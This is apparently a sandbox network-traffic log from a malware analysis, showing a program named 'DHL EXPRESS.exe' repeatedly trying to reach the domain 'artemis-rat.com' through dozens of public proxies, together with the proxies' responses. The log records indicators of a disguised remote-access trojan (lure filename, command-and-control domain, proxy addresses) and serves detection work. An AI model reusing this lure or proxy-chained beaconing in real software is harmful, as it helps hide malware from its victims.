Mar 11, 2024 18:36:49.089291096 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.8	52556	222.220.102.159	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.935978889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.597654104 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.8	52555	210.72.11.46	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.936455011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.372903109 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.8	51924	38.54.16.97	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.936610937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.284351110 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.8	52646	45.60.186.208	27488	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.939491034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.8	52707	104.21.218.103	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.944473028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.099011898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.8	52542	183.215.23.242	9091	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.967854977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.400300026 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
907	192.168.2.8	52697	162.214.121.11	2993	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.968060017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.456485987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.065907001 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.269269943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.456815958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.769226074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.066045046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.456573009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
908	192.168.2.8	52603	211.222.252.187	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.968065977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
909	192.168.2.8	52654	184.170.248.5	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.974374056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
910	192.168.2.8	52684	107.181.168.145	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.974472046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
911	192.168.2.8	52720	104.20.178.166	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.976135015 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.130422115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
912	192.168.2.8	52722	137.184.122.223	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.979080915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.151484966 CET	32	IN	HTTP/1.0 504 Gateway Timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
913	192.168.2.8	52652	72.206.181.105	64935	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.985246897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
914	192.168.2.8	52758	172.67.253.69	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.985320091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.139468908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
915	192.168.2.8	52708	44.226.167.102	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.985363007 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.180386066 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
916	192.168.2.8	52514	197.242.146.109	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.985455990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.958813906 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
917	192.168.2.8	52755	74.48.7.43	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:48.985732079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.146205902 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
918	192.168.2.8	50853	51.89.173.40	60775	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.001271009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.051727057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.206609011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206705093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
919	192.168.2.8	52430	197.254.84.86	32650	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.001327038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.146306038 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
920	192.168.2.8	52605	41.128.148.76	1976	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.002103090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.800059080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.845983028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.999166965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097978115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206695080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.409888029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.629060984 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.096904993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
921	192.168.2.8	52634	47.103.112.86	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.008671045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.309659004 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
922	192.168.2.8	52278	72.195.34.60	27391	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.012721062 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
923	192.168.2.8	50892	45.191.75.186	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.020587921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.972181082 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
924	192.168.2.8	52135	148.66.130.53	31907	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
